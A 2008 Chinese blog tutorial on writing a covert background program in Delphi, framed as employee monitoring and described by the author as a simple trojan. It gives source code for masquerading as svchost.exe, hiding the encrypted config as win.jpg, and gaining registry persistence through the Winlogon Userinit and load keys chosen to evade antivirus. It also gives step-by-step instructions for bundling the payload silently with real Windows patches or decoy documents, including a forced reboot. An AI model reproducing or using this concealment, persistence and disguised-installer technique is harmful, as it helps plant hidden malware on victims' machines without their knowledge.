页面加载中...

秘密监控程序编写初体验

日期:2008年5月8日 评论次数:No Comments » 浏览次数:

某天,友人邀我写一个可以在后台Ping某一个IP的程序(是做测试,还是古典DDOS?)。以前碰到此类问题都是去网上下载来用,现在则准备自己编写一个看看。与本文类似的编程思路,不一定都是用来编写病毒或木马这些有害的程序的。据说国内一个IT行业的厂商,就做了一个程序,装在员工的笔记本中,用来监控员工是否用笔记本上网和外接USB设备,如果有违规行为,总部会在第一时间打电话过来问你,而笔记本里根本查不到相关的监控程序。本文也想实现类似的功能。


方法总述

方法1:第一次运行,捆绑程序。指用IEXPRESS或WinRAR捆绑了EXE文件的程序。以后运行:独立程序。即系统启动后自动在后台运行,任务栏、托盘、进程都不显示。因为程序名容易被查出,所以用svchost.exe。一般的Windows 2000系统都有几个这样的进程,比较容易鱼目混珠。

方法2:直接将Ping命令写入注册表启动项。其致命之处是命令形式ping IP地址时,ping过程的窗口会显示出来!

方法3:利用Word文件的Autoclose等事件。难点:传播起来不方便;修改注册表中相应项,设安全级为0,以便运行所有宏,但对注册表做这样的改动容易被查杀。

方法4:网页木马。发布浏览量不大,传播不快。

方法5:做成DLL的形式。



程序框架

为了演示木马或病毒编写的原理,本文采用最简单、最容易理解的方法1来实现这个初步的木马(或病毒)程序。程序基本框架如下:

1)分成程序和配置文件

程序:一是后台管理用复合程序,其功能是用来生成捆绑程序;二是前台运行用捆绑程序,其功能是加入注册表启动项、运行Ping、运行EXE文件;三是主程序,其功能是实现Ping功能。

配置文件中的参数(没有配置文件时用默认值):

第1行:要ping的IP地址明文长度nLenPingIPAddress;

第2行:要Ping的IP地址密文,缺省明文是cPINGIPAddressCryptograph;

第3行:测试次数明文长度nLenPINGCounts;

第4行:测试次数密文,缺省是10000次,PINGCountsCryptograph;

第5行:发文内容明文长度nLenSendString;

第6行:发文内容密文,缺省明文是cSend

StringCryptograph;

第7行:是否显示窗体及任务切换,1显示,0不显示,缺省为0,nDispForm;

第8行:是否显示进程,1显示,0不显示,缺省为0,nDispProc。

2)需要解决的问题

种植方式:甲,单独做一个安装用的程序,用以将主程序和配置文件win.jpg拷入目标目录,并且将当前目录下的主程序和win.jpg及程序自身删除;乙(采用此方法以减少编程量),主程序运行后,当前目录是%system%\system且正常运行,当前目录非%system%\system时将自我复制,然后将win.jpg删除,将自己删除,最后运行winnt\system下的文件。文件名用相对路径%system%\system\

svchost.exe,而不是绝对路径c:\winnt\system\

svchost.exe。

由于DOS命令Ping的窗口会显示出来,所以只能自己编程实现Ping的功能。配置文件是文本格式,但要加密,后缀可用不常用的类型或其它非文本类型,如BMP或JPG。就算JPG文件的真实格式是TXT,相信也没有多少人会去用各个程序逐个打开试验。

配置文件不存在的时候,就用默认的IP地址等数据运行,存在时就用配置文件的内容。程序运行时,读完配置文件的内容后就不再读配置文件,以减少系统开销。本文是用配置文件进行参数读写的,当然也可以写入注册表。

进程中不显示。不要以为用了RegisterService

Process函数就万事大吉了!造成错误的原因有很多种,疏忽绝对是其中最不可原谅的,而且也同样难以弥补。这个函数只在Windows 98下才能用,Windows 2000及XP都会显示“无法定位程序输入点RegisterServiceProcess于动态链接库KERNEL32.DLL上”,所以暂时用svchost.exe蒙混过关

任务切换中不显示。这个功能我们平时用得不多,相信有时编程会将此忘记。如果在ALT+TAB中显示出来了,你再去隐藏进程就没有意义了。

注册表增加了3个地方,程序启动时检测,没有就加入(同时也意味着,系统一启动就运行3个进程。进程太多了系统会慢,3个已足够。网络监控会发现每次都是发3个数据包)HKEY_CURRENT_USER\Software\Microsoft\

Windows NT\CurrentVersion\Windows\load及HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\

CurrentVersion\Winlogon\Userinit。经过测试,程序可以写入注册表并自动运行,KV2004没有任何提示。最常用的Run键和RunOnce键会被KV2004提示,所以不写入那里。

Ping的次数。3秒Ping一次,一天大概是2.8万次。在设置文件中可以自定义次数,次数减为0时程序退出。

改图标。Delphi的图标,规定包含两种格式,一种是32*32,一种是16*16。因为找不到也做不出和系统文件图标(如飘动的视窗)一样的,只有用ExeScope软件去指定一个只有32*32格式的ICO文件,但也不能有图标的样式,只能显示成一个不规范的样子,也真有点像系统文件,实现了隐藏的目的。在这里需要注意的一点是,Project的Option中的Title不写东西,Icon指向一个没有两种格式的图标,似乎就能不在任务管理器中显示,但是进程中还是会显示的。

运行时系统慢,可能是用了定时器(使用了系统时钟)的原因,改成空循环可能会使占用系统资源降低。测试时,有时我忘了关掉此程序,结果造成打开Word和Excel文件极慢,还以为中了病毒(这也是许多病毒的特点之一)。



代码实现

  procedure TFormMonnet.FormCreate(Sender: TObject);

  var

    FullRgn, ClientRgn, ButtonRgn: THandle;

    Margin, X, Y,nCircle: Integer;

    r:boolean;

    nLenIPAddress:integer;

    F: Textfile;  //文件流

    nLenPINGCounts:integer; //测试次数长度

    nLenSendString:integer;  //发文长度

    nDispAltTab:integer; //是否在任务切换中显示

    nRepeat:integer;  //密钥需重复的次数

    EncryptedIPAddress:string; //IP地址密文

    EncryptedSendString:string;  //发文密文

    EncryptedPINGCounts :string; //Ping次数密文

    Reg:TRegistry; //注册表

    TargetKey,ttemp,MyExeInReg:string;

  begin

    IniFile := GetWinPath + '\system\win.jpg';

      //配置文件

MyExeFile:=GetWinPath + '\system\svchost.exe';

      //程序主体

    Application.Initialize;

    If FileExists(MyExeFile) = false then

      //程序自我复制

    begin

        CopyFile(PChar(Application.ExeName),PChar(MyExeFile),true);

        Application.Run;

    end;

  If (FileExists(IniFile) = false) and (FileExists('win.jpg') = true) then

//目的地址文件不存在,当前目录下存在,就复制

    begin

        CopyFile('win.jpg',PChar(IniFile),true);

     //复制配置文件

        Application.Run;

    end;

    Reg        := TRegistry.create;

    Reg.RootKey:= HKEY_LOCAL_MACHINE;

    TargetKey:= '\Software\MicroSoft\Windows NT\CurrentVersion\Winlogon' ;

    if (Reg.OpenKey(TargetKey,false)) = False then

   //无此键就创建之

      begin

          Reg.CreateKey(TargetKey);

      end

    else

      begin

          Reg.OpenKey(TargetKey,true);

          MyExeInReg:=Reg.readString('UserInit');

      //读字串

          if Pos(MyExeFile,MyExeInReg) = 0 then

      //无此字串,写入

          begin

            Reg.WriteString('UserInit',MyExeInReg + MyExeFile + ',');

          end;

      end;

Reg.RootKey:= HKEY_CURRENT_USER;

TargetKey:= '\Software\MicroSoft\Windows NT\CurrentVersion\Windows' ;

    if (Reg.OpenKey(TargetKey,false)) = False then

   //不存在这个键,就创建之

      begin

          Reg.CreateKey(TargetKey);

      end

    else

      begin

          Reg.OpenKey(TargetKey,true);

          Reg.WriteString('load',MyExeFile);

      end;

   Reg.Closekey;

    Reg.free; //释放

        If FileExists(IniFile) = false then

        Begin //不存在时,用默认配置,此处略

        end

        else

        begin

            AssignFile(F,IniFile);

            Reset(F); //打开一个新文件

            ReadLn(F,nLenIPAddress );

            ReadLn(F,EncryptedIPAddress);

          //读取密文

            ReadLn(F,nLenPINGCounts );

            //第3行,要Ping的次数明文长度

            ReadLn(F,EncryptedPINGCounts);

      //第4行,要Ping的次数密文

            ReadLn(F,nLenSendString );

            //第5行,要Ping的发文明文长度

            ReadLn(F,EncryptedSendString);

       //第6行,要Ping的发文密文

            ReadLn(F,nDispForm );

              //第7行,是否显示窗体

            ReadLn(F,nDispProc);

       //第8行,是否显示进程

            ReadLn(F,nDispAltTab);

       //第9行,是否在任务切换中显示

            CloseFile(F);

cIPAddress  := Decryptstr(EncryptedIPAddress,KeyInit);

//对IP地址解密,具体函数略,大家可以自由发挥,用成熟的算法或自己编一个简单的函数

nPINGCounts := StrToInt(Decryptstr(EncryptedPINGCounts,KeyInit));    //对Ping的次数解密

  cSendString := Decryptstr(EncryptedSendString,KeyInit);    //对发文解密

        end;

    if (nDispForm = 0) then

    begin  //是否显示窗体

      Application.ShowMainForm:=false;

    end; //全部做完了才打开计时器

  Timer1.interval := 1000 * 3;

  //用定时器的方法,3000毫秒一次

  nPingCounts:=10;

  //下面是不用定时器的方法

  nCircle := nEmptyCircle; //空循环的次数

  while (nPingCounts>0) do

  begin

      while (nCircle>0) do

      begin

        nCircle:=nCircle-1; //空循环

      end;

  

      if ((nCircle=0 ) and (nPingCounts>0))then

      begin

          nPingCounts:=nPingCounts – 1;

          button1.click;

          nCircle:=nEmptyCircle;

      end;

  end;

  if (nPingCounts = 0 ) then

  //预定Ping的次数完成,退出程序

  begin

    application.terminate;

  end;   //其它部分,如在任务栏中隐藏、程序自删除等,代码在网上可以很方便地找到,略

  end;



测试及打包

改变Windows登录用户,测试注册表启动项是否对所有用户有效。

RegSnap监控注册表变化:装此软件的用户毕竟不多,即使装了,又有多少人会对svchost.exe写注册表产生怀疑呢?

FileMon监控文件变化:Win.jpg比较容易混过去。

杀毒软件是否监控注册表更改:不会对所有更改都提示(KV2004未提示)。

杀毒软件监控注册表启动项:不加到常规的启动项,而是加到不常用的项中;而且注册表中“数据”项有“.exe”内容的很多,注册表又不能反向查找某个内容,所以只要加在后面,就不必担心会被发现。

与正宗的Windows补丁或QQ安装程序之类其它程序捆绑,所有的杀毒软件都不会杀!用iexpress捆绑的过程如下。

1)在“运行”里输入iexpress;

2)Create new self Extraction Directive file;

3)Extract files and run an installation command;

4)输入解压包时显示的标题,例如Windows Updates;

5)不提示No prompt;

6)License agreement协议,用或不用均可;

7)选择要打成一个包的几个文件,一个是License.

txt,一个是Windows补丁,如ie6setup.exe之类的文件,一个是配置文件win.jpg,一个是svchost.exe;

8)安装时的前台及后台程序。install Program是安装程序,即前台显示的,选ie6setup.exe;Post install command是后台执行的命令,选svchost.exe。

9)是否显示窗体,选择Hidden;

10)结束以后是否要消息,No message选Hide file Extracting Progress Animation from User;

11)安装完以后是否要重启。选择Always reboot,并且Do not prompt user before reboot,以便写入注册表后能运行。

WinRAR打包过程如下:

1)把要打包的三个文件拷到同一个目录,如svchost.exe、win.jpg、水晶宫.doc;

2)把这三个文件压缩成RAR文件;

3)双击RAR文件;

4)点击“自释放”;

5)点击“自释放格式”标签;

6)点击“高级自释放选项”;

7)“常规”标签“释放路径”填temp(指c:\program files\temp),“释放后运行”填svchost.exe,“释放前运行”填水晶宫.doc(表面上给别人看的东西),“模式”标签选全部隐藏、覆盖所有文件,最后确定即可。

到这里,一个简单的秘密监控程序就在Windows 2000 Pro下做出来了。因为只是做编程试验,所以没有加入传播功能。可见不被查杀的木马和病毒是永远存在的,只要自己新编一个程序,必然和别人的不一样,所以杀毒软件是杀不出来的,只有造成了危害,上报杀毒软件厂商,才会将其列为有害程序而查杀。如果做成了DLL,用系统进程来调用,则更专业,在此我就不再赘述了。最后说一句,本文仅供编程时大家参考一下相关的思路,千万不要拿去做坏事哦!

0 Comments.

Leave a Reply

回到顶部